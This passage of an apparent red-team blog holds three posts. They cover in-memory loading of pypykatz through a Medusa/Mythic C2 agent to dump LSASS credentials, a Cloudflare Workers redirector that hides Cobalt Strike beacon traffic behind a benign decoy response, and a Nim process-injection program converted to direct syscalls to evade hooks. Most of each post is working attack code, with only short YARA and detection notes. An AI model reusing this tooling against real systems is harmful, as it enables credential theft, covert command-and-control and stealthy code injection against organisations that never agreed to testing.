We can then navigate to the install location and view the downloaded files. On a system where Python 2.7 is installed for all users, this would be C:\Python27\Lib\site-packages. To use the library in Medusa, zip the entire directory, i.e. the dns folder itself, not the files within it.

Moving to Mythic, we can use load_module, providing our zip file and the name of the module as it is referenced in an import statement, in this case simply dns.

We can then use the list_modules function to confirm it’s loaded into memory. Running list_modules with no arguments will show the names of all modules loaded, running with a module’s name will list the full zip directory listing, as below:

Now if we take our Python script from above and run it using the load_script function, we can see if it executes successfully.

Ah, not quite what we want. As we can see above, all output is printed on the target console.

We can alter our script to make use of a built-in Medusa agent function self.sendTaskOutputUpdate(). This takes two arguments, the task_id and the data to send back to Mythic. As our DNS resolution script is ultimately being run in an exec() call in a function in our agent, it has access to this variable. Therefore all we need to do is rewrite our script as follows:

import dns.resolver
answers = dns.resolver.query('google.com', 'A')
output = "google.com A records:\n"
output += "\n".join([str(answer) for answer in answers])
self.sendTaskOutputUpdate(task_id, output)

Running this script through our agent once more, we get the behaviour we want, and our script output is returned to the Mythic server.

Scripting With Mythic

While the above workflow is simple enough for a single library and script, Mythic’s extensive Scripting API allows us to automate the entire process and even retrieve the output of our DNS resolution script.

As a summary, we’ll use a script that will do the following:

Authenticate to Mythic (in our case using username and password, but an API token could be used instead).
Load the required functions, load_module and load_script.
Load the dns module into memory.
Execute our DNS resolution script
Retrieve the output

Below is the Python 3 script that we’ll use for this. It takes the callback ID as an argument so we can easily specify a given agent to execute against. Also note that the DNS resolution script and associated dns module is referenced at the top, these files must be placed alongside the script in the same directory.

from mythic import mythic_rest
import sys, asyncio

callback_id = sys.argv[1]

modules = { "dns": "dns.zip" }
script = "dns_lookup.py"

async def scripting():
    # auth to mythic
    mythic = mythic_rest.Mythic(
        username="USERNAME", 
        password="PASSWORD",
        server_ip="IP_ADDRESS", 
        server_port="7443", 
        ssl=True, 
        global_timeout=-1
    )
    await mythic.login()
    resp = await mythic.set_or_create_apitoken()

    print("\n-------------------------------")
    print("[*] Loading Medusa functions...")
    print("-------------------------------\n")
    # ensure the required Medusa functions are present
    functions = [ "load_module", "load_script" ]
    for function in functions:
        print("[*] Loading {} function".format(function))
        task = mythic_rest.Task(
            callback=callback_id, 
            command=mythic_rest.Command(cmd="load"), 
            params={"command":function}
        )

        # submit the task and wait until it's completed to load the next
        submit = await mythic.create_task(task, return_on="")
        
        if submit.status == "success":
            print("[+] Successfully loaded {} function.\n".format(function))


    print("\n-------------------------------")
    print("[*] Loading required modules...")
    print("-------------------------------\n")
    # read each module zip and submit load_module task
    for module in modules:
        print("[*] Loading {} module in-memory".format(module))
        fc = open(modules[module], "rb").read()

        task = mythic_rest.Task(
            callback=callback_id, 
            command=mythic_rest.Command(cmd="load_module"), 
            params={"module_name":module}, 
            files=[
                mythic_rest.TaskFile(
                    content=fc, 
                    filename=modules[module], 
                    param_name="file")
            ]
        )

        # submit the task and wait until it's completed to load the next
        submit = await mythic.create_task(task, return_on="")
        
        if submit.status == "success":
            print("[+] Successfully loaded {}.\n".format(module))

    # Read the script from local disk
    fc = open(script, "rb").read()
    
    print("-------------------------------")
    print("[*] Executing script...")
    print("-------------------------------\n")
    # create task for executing script
    task = mythic_rest.Task(
        callback=callback_id, 
        command=mythic_rest.Command(cmd="load_script"), 
        params={}, 
        files=[
            mythic_rest.TaskFile(
                content=fc, 
                filename=script, 
                param_name="file")
        ]
    )
    
    # Submit the task and wait for it to complete, then show us the output 
    submit = await mythic.create_task(task, return_on="")
 
    results = await mythic.gather_task_responses(submit.response.id, timeout=-1)
    for result in results:
        print(result.to_json()["response"])


async def main():
    await scripting()

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Let’s take a fresh Python 2.7 Medusa agent and try out this script.

Great, so now we have our in-memory library loaded, our script being executed, and all output making its way back to Mythic for us to view.

Now, let’s take advantage of the convenience of our automation and take things a little further!

Dumping Credentials from LSASS using the `pypykatz` Library

To demonstrate the power and versatility that all this dynamic invocation and module loading can provide us, let’s use SkelSec’s awesome pypykatz project to dump credentials from our Windows target’s LSASS process.

We’ll switch to a Python 3.8 Medusa agent for this and we’ll be loading in four dependencies (three, plus the pypykatz library itself):

minikerberos
minidump
asn1crypto
pypykatz

Below is the simply script that will execute pypykatz, targeting all credential types. Note how this script has already been written to make use of the self.sendTaskOutputUpdate() function to return all output to the Mythic server.

from pypykatz.pypykatz import pypykatz
res = pypykatz.go_live(packages=['all'])
self.sendTaskOutputUpdate(task_id, str(res))

Having downloaded and zipped up each of our four libraries, we can reuse our Mythic API script to execute this. Note it’s just the modules dictionary and script string that have changed here, but the full script is provided for completeness.

from mythic import mythic_rest
import sys, asyncio

callback_id = sys.argv[1]

modules = {
    "minikerberos": "minikerberos.zip",
    "minidump": "minidump.zip",
    "asn1crypto": "asn1crypto.zip",
    "pypykatz": "pypykatz.zip",
}
script = "pypykatz_run.py"

async def scripting():
    # auth to mythic
    mythic = mythic_rest.Mythic(
        username="USERNAME", 
        password="PASSWORD",
        server_ip="IP_ADDRESS", 
        server_port="7443", 
        ssl=True, 
        global_timeout=-1
    )
    await mythic.login()
    resp = await mythic.set_or_create_apitoken()

    print("\n-------------------------------")
    print("[*] Loading Medusa functions...")
    print("-------------------------------\n")
    # ensure the required Medusa functions are present
    functions = [ "load_module", "load_script" ]
    for function in functions:
        print("[*] Loading {} function".format(function))
        task = mythic_rest.Task(
            callback=callback_id, 
            command=mythic_rest.Command(cmd="load"), 
            params={"command":function}
        )

        # submit the task and wait until it's completed to load the next
        submit = await mythic.create_task(task, return_on="")
        
        if submit.status == "success":
            print("[+] Successfully loaded {} function.\n".format(function))

    print("\n-------------------------------")
    print("[*] Loading required modules...")
    print("-------------------------------\n")
    # read each module zip and submit load_module task
    for module in modules:
        print("[*] Loading {} module in-memory".format(module))
        fc = open(modules[module], "rb").read()

        task = mythic_rest.Task(
            callback=callback_id, 
            command=mythic_rest.Command(cmd="load_module"), 
            params={"module_name":module}, 
            files=[
                mythic_rest.TaskFile(
                    content=fc, 
                    filename=modules[module], 
                    param_name="file")
            ]
        )

        # submit the task and wait until it's completed to load the next
        submit = await mythic.create_task(task, return_on="")
        
        if submit.status == "success":
            print("[+] Successfully loaded {}.\n".format(module))

    # Read the script from local disk
    fc = open(script, "rb").read()
    
    print("-------------------------------")
    print("[*] Executing script...")
    print("-------------------------------\n")
    # create task for executing script
    task = mythic_rest.Task(
        callback=callback_id, 
        command=mythic_rest.Command(cmd="load_script"), 
        params={}, 
        files=[
            mythic_rest.TaskFile(
                content=fc, 
                filename=script, 
                param_name="file")
        ]
    )
    
    # Submit the task and wait for it to complete, then show us the output 
    submit = await mythic.create_task(task, return_on="")
 
    results = await mythic.gather_task_responses(submit.response.id, timeout=-1)
    for result in results:
        print(result.to_json()["response"])


async def main():
    await scripting()

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Once again, let’s take a new Medusa agent - a Python 3.8 one this time - and execute our script to load all the dependencies and execute our LSASS credential dumping. It’s worth mentioning, the below video is edited to skip some of the waiting for modules to load. It’s wise to consider how large the libraries are that you’re loading into your agent as they’ll generate notable C2 traffic volume.

And there we have it, we’ve loaded pypykatz and its dependencies into our agent - all over our established C2 channel and all in memory - and dumped credentials from LSASS.

Detection

Being cross-platform, detection opportunities naturally vary across operating systems. Considering the specific Windows capabilities shown in this blog, we could use something like Sysmon EID 22 to log the DNS queries, and then our python process opening a handle to LSASS for the credential dumping.

Considering the Medusa payload itself, even with the XOR’d script, once executed the Medusa script sits in-memory in plaintext. We could use a yara rule such the below to scan for key strings, such as those required in the Mythic JSON responses.

rule medusa_mythic_agent {
	meta:
		description = "Medusa Python strings"
		author = "ajpc500"
		date = "2021-08-25"
	strings:
		$s1 = "medusa" 
		$s2 = "get_tasking"
		$s3 = "PayloadUUID"
		$s4 = "KillDate"
		$s5 = "post_response"
		$s6 = "total_chunks"
	condition:
		all of them
}

For the in-memory module loading, once uploaded we can see the entire zip sat in memory. We can identify the zip file by its ‘magic bytes’ or file headers, a prefix of \x50\x4b\x03\x04.

We could potentially use another yara rule to scan for these zip file magic bytes, such as the below, though this may not scale well in production.

rule in_memory_zip {
	meta:
		description = "Zip file headers"
		author = "ajpc500"
		date = "2021-08-25"
	strings:
		$tokenString1 = { 50 4b 03 04 }
	condition:
		all of them
}

Conclusions

This blog has demonstrated how the concepts of in-memory module loading and dynamic invocation of scripts are applied in the Medusa Mythic agent, across both Python 2.7 and 3.8 versions. While not a novel technique in itself, we’ve seen how Mythic’s extensive scripting API can allow us to streamline this process. Along the way we also saw some of the OPSEC considerations within the Medusa agent, including the ability to Base64 and XOR the agent code, and load new agent functions post-execution to keep the initial script small and not reveal its full capabilities.

The Medusa agent can be found in the MythicAgents repo here and is actively being developed, so pull requests are very welcome!

Using Cloudflare Workers as Redirectors

2021-01-25T10:04:54+00:00

Recently, I had a chance to play with Cloudflare Workers. Workers provide a similar capability to other Function-as-a-Service (FaaS) offerings, like AWS’s Lambda or Azure’s Functions. Described by Cloudflare, in terms of what you can do with these Workers:

Anything and everything. You’re writing code, so the possibilities are infinite. Your Service Worker will intercept all HTTP requests destined for your domain, and can return any valid HTTP response. Your worker can make outgoing HTTP requests to any server on the public internet.

Reading Adam Chester’s Lambda Redirector blog, there were obvious applications for Cloudflare Workers to achieve a similar thing. Taking inbound requests from an implant and relaying this back to our infrastructure.

At the time, I wasn’t aware of this blog written by @MYZXCG (thanks to @ZephyFish for pointing it out). @MYZXCG’s blog covers the steps needed to setup Cobalt Strike to use an Nginx redirector, and to subsequently send traffic to this redirector using Cloudflare Workers. So as to not reinvent the wheel, this blog will focus on an alternative approach to the same task, with additional OpSec aspects which might be of interest.

Setup

A significant appeal of the Workers service is the ability to deploy our code under Cloudflare’s workers.dev domain. There is the option to deploy Workers under a user-controlled domain, but this workers.dev domain allows to effectively ‘domain front’ using the categorisation of Cloudflare’s catch-all domain.

While it would have been preferable to use the Serverless Framework to handle deployment and teardown of Workers, it seems that there is an outstanding issue with supporting deployment to the workers.dev domain.

As a result, we’ll use wrangler to handle our deployment. This can be installed using npm:

npm install -g @cloudflare/wrangler

Once installed, we need to configure the comand-line tool to use our Cloudflare credentials. You can use wrangler login or take a premade API token and run a wrangler config and paste it in.

To generate an API token, having created a Cloudflare account, navigate to the API tokens portal. For the purposes of this, we can use the Edit Cloudflare Workers permissions template.

Hello Worker

To get started, we’ll create and deploy a simple “Hello Worker” templated project (as documented here). To generate the template, run the following command:

wrangler generate helloworld

Before we can deploy this Worker, we’ll need to add our account ID to the generated wrangler.toml file. You can easily retrieve your account ID by running a wrangler whoami.

name = "helloworld"
type = "javascript"
account_id = "[YOUR_ACCOUNT_ID]"
workers_dev = true
route = ""
zone_id = ""

We can then run a wrangler publish command to deploy our “Hello Worker” function. If everything goes well, we should be returned a URL of the format https://helloworld.[your_worker_domain].workers.dev.

If we visit or curl this URL, we should get our “Hello worker!” output back - Success!

Creating a Redirector

To repurpose our simple project to redirect traffic, we need to edit the wrangler.toml settings file and our Javascript index.js file. Firstly, we can set some environment variables to use in our main code.

TS - The destination URL for our traffic, e.g. our Cobalt Strike team server or some other redirecting infrastructure (e.g. https://bad.stuff/).
WORKER_ENDPOINT - The deployed endpoint for our Worker, we’ll use this to strip the URI path of received requests and send it on.

The completed wrangler.toml file should look something like the below. Note, [WORKER_NAME] is based on the name field, so would just be "helloworld" in this case:

name = "helloworld"
type = "javascript"
account_id = "[YOUR_ACCOUNT_ID]"
workers_dev = true
route = ""
zone_id = ""
vars = { TS = "https://[DESTINATION_HOST]/", WORKER_ENDPOINT = "https://[WORKER_NAME].[YOUR_WORKER_DOMAIN].workers.dev/" }

The index.js file can then be modified as below:

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event))
})

// Construct request with original URI
async function handleRequest(event) {
  const request = event.request
  const path = request.url.replace(WORKER_ENDPOINT,"")
  const destUrl = TS + path               

  // Construct new request using request sent to Worker
  const modifiedRequest = new Request(destUrl, {
    body: request.body,       
    headers: request.headers,
    method: request.method
  })

  // Wait for response from destination host and return to original requester
  const resp = await fetch(modifiedRequest)         
  return resp
}

If we run a wrangler publish now, we should have an endpoint that will take our requests and forward them onto a destination host. As we’re taking the request URI and appending that to the destination URL, we can customise our traffic profile as we see fit (i.e. using a malleable profile).

With our Cobalt Strike listener setup, we can launch a Beacon and get a callback to our Team Server. Great stuff.

Improving OpSec

Looking at the Javascript code (and the Worker example docs), it should be relatively clear that we can manipulate most aspects of our requests and responses to fit our use case, e.g. adding or stripping headers as needed.

One application of this could be to restrict redirected traffic based on a custom header (as outlined here). Any traffic not supplying this header would then be responded to with some suitably-benign response.

For this, we’ll add an additional environment variable, HEADER_KEY to our variables block in wrangler.toml.

name = "helloworld"
type = "javascript"
account_id = "[YOUR_ACCOUNT_ID]"
workers_dev = true
route = ""
zone_id = ""
vars = { HEADER_KEY = "[SOME_VALUE]", TS = "https://[DESTINATION_HOST]/", WORKER_ENDPOINT = "https://[WORKER_NAME].[YOUR_WORKER_DOMAIN].workers.dev/" }

We can then modify our index.js file as below. Note here we’re using a static X-Custom-PSK header name, but you could pull that out as an environment variable too depending on your use case.

const PRESHARED_AUTH_HEADER_KEY = "X-Custom-PSK"

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event))
})

async function handleRequest(event) {
  const request = event.request
  const path = request.url.replace(WORKER_ENDPOINT,"")
  const destUrl = TS + path 

  // Fetch value of our custom header
  const psk = request.headers.get(PRESHARED_AUTH_HEADER_KEY)      

  // Check header matches a predetermiend value
  if (psk === HEADER_KEY) {                 
    // Send received request on to C2 server
    const modifiedRequest = new Request(destUrl, {
      body: request.body,                   
      headers: request.headers,
      method: request.method
    })
  
    const resp = await fetch(modifiedRequest)
    return resp
  } else {
    // If the header doesn't match, provide some benign response
    return new Response(JSON.stringify(
        {
          "Error" : "Authentication Failure."       
        }, null, 2), 
        {
          status: 401,
          headers: {
            "content-type": "application/json;charset=UTF-8"
          }
        }
    )
  } 
}

Browsing to this URL without providing our header value, we should receive our benign response.

We then need to ensure that our callback traffic includes the custom header in all our GET and POST requests. For Cobalt Strike, this can be achieved by adding the header to the http-get and http-post client blocks, as below (adapting @xpn’s profile from the Lambda redirector blog for simplicity).

http-config {
    set trust_x_forwarded_for "true";
}

http-get {
    set uri "/poll";
    client {
        header "X-Custom-PSK" "[SOME_VALUE]";      

        metadata {
            base64url;
            netbios;
            base64url;
            parameter "token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";

        output {
            base64;
            prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/upload";
    set verb "POST";

    client {
        parameter "action" "GetExtensibilityContext";
        header "Content-Type" "application/json; charset=utf-8";
        header "Pragma" "no-cache";
        header "X-Custom-PSK" "[SOME_VALUE]";

        id {
            parameter "token";
        }

        output {
            mask;
            base64;
            prepend "{\"version\":\"2\",\"report\":\"";
            append "\"}";
            print;
        }
    }

    server {
        header "api-supported-versions" "2";
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";

        output {
            base64url;
            prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

Detection Opportunities

As with most command-and-control (C2) channels, detection is a significant challenge. This is exacerbated by the fact that, in this configuration, we can adapt the Beacon malleable profile to fit whichever scenario we may choose.

In this blog specifically, we’re using Cloudflare’s workers.dev domain, rather than a custom domain name. A valuable exercise may be to review an organisation’s existing traffic to this top-level domain, alerting or preventing access as appropriate.

Conclusion

Cloudflare Workers, much like other Function-as-a-Service offerings, present an alternative means of fronting command-and-control traffic. Deploying one (or many) Worker redirectors is trivial using deployment tools, such as wrangler.

Shellcode Injection using Nim and Syscalls

2021-01-19T10:04:54+00:00

Fresh from a Syscalls-fuelled BOF joyride, I had a chance to play with Nim. In particular, I was intrigued by a tweet from @byt3bl33d3r:

omg.... I did it! Win32 Syscalls from Nim!!! 😍 pic.twitter.com/h8XeM5062a
— Marcello (@byt3bl33d3r) January 12, 2021

My immediate thought was that this looked syntactically similar to the inline assembly outputted by Outflank’s InlineWhispers, and that we could achieve a similar thing for Nim. A few hours (and many nested for-loops) later, we have a proof-of-concept version of NimlineWhispers.

This blog will walk through a process of using NimlineWhispers to port an existing Nim project to use Syscalls and Native APIs.

Initial Code

For our project, we’ll use an example from Marcello’s fantastic OffensiveNim repo, specifically this one. If you haven’t had a play with Nim yet, Marcello’s repo is a gold mine of information for installation, compilation, code examples and opsec tips - I highly recommend taking a look.

The code example we’ll use spawns a target process, in this case notepad.exe, and uses the classic CreateRemoteThread injection technique to allocate memory, write and launch our message box popping shellcode in that process. The original code can be seen below:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )
    defer: CloseHandle(pHandle)

    echo "[*] pHandle: ", pHandle

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(
        pHandle, 
        rPtr,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(wSuccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )
    defer: CloseHandle(tHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    when defined(i386):
        # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[272, byte] = [
        byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
        ...
        0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
        0x55,0x08]

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        ...
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

For simplicity, we’re going to spawn the notepad.exe process as normal and just focus on porting the injection steps to our Syscalls functions.

Converting to Native functions

We won’t go into the depths of high-level vs Native API calls, mainly because people that understand it infinitely more than me have put out great material on the subject already, particular with regards to its offensive applications.

For our purposes, we know though that our high-level functions need to be replaced with the following Native API calls:

OpenProcess -> NtOpenProcess
VirtualAllocEx -> NtAllocateVirtualMemory
WriteProcessMemory -> NtWriteVirtualMemory
CreateRemoteThread -> NtCreateThreadEx
CloseHandle -> NtClose

These functions will require slightly different arguments and data structures. Resources such as NTAPI Undocumented Functions are invaluable for giving us insight into what we need to define to get this off the ground, e.g. the CLIENT_ID and OBJECT_ATTRIBUTES structs needed for NtOpenProcess.

Using NimlineWhispers

With our list of required native functions, we can generate our inline assembly. Firstly, clone the NimlineWhispers repository:

git clone https://github.com/ajpc500/NimlineWhispers.git

Modify functions.txt to include our five Native API functions:

NtCreateThreadEx
NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtClose

Run NimlineWhispers using the following command:

python3 NimlineWhispers

This will produce us a syscalls.nim file, complete with the {.passC:"-masm=intel".} header we’ll need to compile this with inline assembly.

To integrate this with our existing code, add it to the same directory and append include syscalls to the end of our imports, as below.

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc
include syscalls      <-- syscalls lib

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
...

It’s worth mentioning here that SysWhispers provides us with 64-bit assembly only, and as we’re feeding that into NimlineWhispers, that too is 64-bit only.

Adapting the Code

Now we can set about adding the necessary code to our project to call the inline assembly Native functions we’ve included. Once syscalls.nim has been added to the project, we can call our Native functions as normal, e.g. see the below for NtOpenProcess.

var cid: CLIENT_ID
var oa: OBJECT_ATTRIBUTES
var pHandle: HANDLE

cid.UniqueProcess = tProcess.processID

var status = NtOpenProcess(
    &pHandle,
    PROCESS_ALL_ACCESS, 
    &oa, &cid         
)

Working through the project and adding the necessary variables and functions, we end up with code something like the below:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc
include syscalls

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    var cid: CLIENT_ID
    var oa: OBJECT_ATTRIBUTES
    var pHandle: HANDLE
    var tHandle: HANDLE
    var ds: LPVOID
    var sc_size: SIZE_T = cast[SIZE_T](shellcode.len)

    cid.UniqueProcess = tProcess.processID

    var status = NtOpenProcess(
        &pHandle,
        PROCESS_ALL_ACCESS, 
        &oa, &cid         
    )

    echo "[*] pHandle: ", pHandle

    status = NtAllocateVirtualMemory(
        pHandle, &ds, 0, &sc_size, 
        MEM_COMMIT, 
        PAGE_EXECUTE_READWRITE);

    var bytesWritten: SIZE_T

    status = NtWriteVirtualMemory(
        pHandle, 
        ds, 
        unsafeAddr shellcode, 
        sc_size-1, 
        addr bytesWritten);

    echo "[*] WriteProcessMemory: ", status
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    status = NtCreateThreadEx(
        &tHandle, 
        THREAD_ALL_ACCESS, 
        NULL, 
        pHandle,
        ds, 
        NULL, FALSE, 0, 0, 0, NULL);

    status = NtClose(tHandle)
    status = NtClose(pHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    when defined(i386):
        echo "[!] This is only for 64-bit use. Exiting..."
        return 

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        ...
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

Now we can compile this with the following command:

nim c -d=mingw --app=console --cpu=amd64 SysCallsMessageBoxShellCodeInject.nim

If you give that a try, you’ll likely see the following output:

Additional Structs

So, what’s gone wrong here? While we’re not calling the functions provided by Winim, we’re still including it for all of the structs provided in windef.nim here. Except, we need two additional structs.

Specifically, PS_ATTRIBUTE and PS_ATTRIBUTE_LIST. We can take the definitions of these structs from @Jackson_T’s SysWhispers project add these to the top of our syscalls.nim file.

type
  PS_ATTR_UNION* {.pure, union.} = object
    Value*: ULONG
    ValuePtr*: PVOID
  PS_ATTRIBUTE* {.pure.} = object
    Attribute*: ULONG 
    Size*: SIZE_T
    u1*: PS_ATTR_UNION
    ReturnLength*: PSIZE_T
  PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
  PS_ATTRIBUTE_LIST* {.pure.} = object
    TotalLength*: SIZE_T
    Attributes*: array[2, PS_ATTRIBUTE]
  PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST

If we attempt to recompile now:

Success! Running our compiled executable now, we should get our successful MessageBox.

And of course, if we substitute our harmless message box code for something more exciting, we can weaponise our example project!

Conclusions

In this blog, we’ve seen how we can adapt a Nim project to use native API functions, included in our project as inline assembly and generated using NimlineWhispers. It’s fair to say the tool is very much a proof-of-concept, in part because I’m still learning Nim😅 For me the obvious next step, and one also raised by Cas van Cooten, is to include the needed data types and structs as part of the NimlineWhispers syscalls.nim output. This would allow you to use that output without also importing the Winim package and wrestling with any missing structs.

Hopefully, this is helpful for those looking to integrate Syscalls into Nim projects, i’m very keen to improve NimlineWhispers, so pull requests are very welcome!

ajpc500

Blue Team Con: Going Atomic

Introduction

Offensive Informs Defense

Atomic vs. Scenario-based Purple Teaming

Dechaining execution and maximising coverage

What should we execute?

An example of test case generation

Automation

Results Data Produced by Atomic Purple Teaming

Applying Results - High-Level Evaluation

Applying Results - Business Outcomes

Performance Benchmarking

Environment Comparison

Return on Investment

Raw Telemetry != Viable Alerts

Alert Prioritisation

Industry Comparison

Weaknesses of Atomic Purple Teaming

Conclusions

Targeting Visual Studio Code for macOS: File Discovery and a TCC bypass (kinda)

Introduction

TL;DR

Recent Files

Open Edits

Bonus Round: Modifying An Open Edit

Further Work

Conclusions

In-memory Python Modules with the Medusa Mythic Agent

Medusa

DNS Resolution with the dnspython Library

Scripting With Mythic

Dumping Credentials from LSASS using the pypykatz Library

Detection

Conclusions

Using Cloudflare Workers as Redirectors

Setup

Hello Worker

Creating a Redirector

Improving OpSec

Detection Opportunities

Conclusion

Shellcode Injection using Nim and Syscalls

Initial Code

Converting to Native functions

Using NimlineWhispers

Adapting the Code

Additional Structs

Conclusions

DNS Resolution with the `dnspython` Library

Dumping Credentials from LSASS using the `pypykatz` Library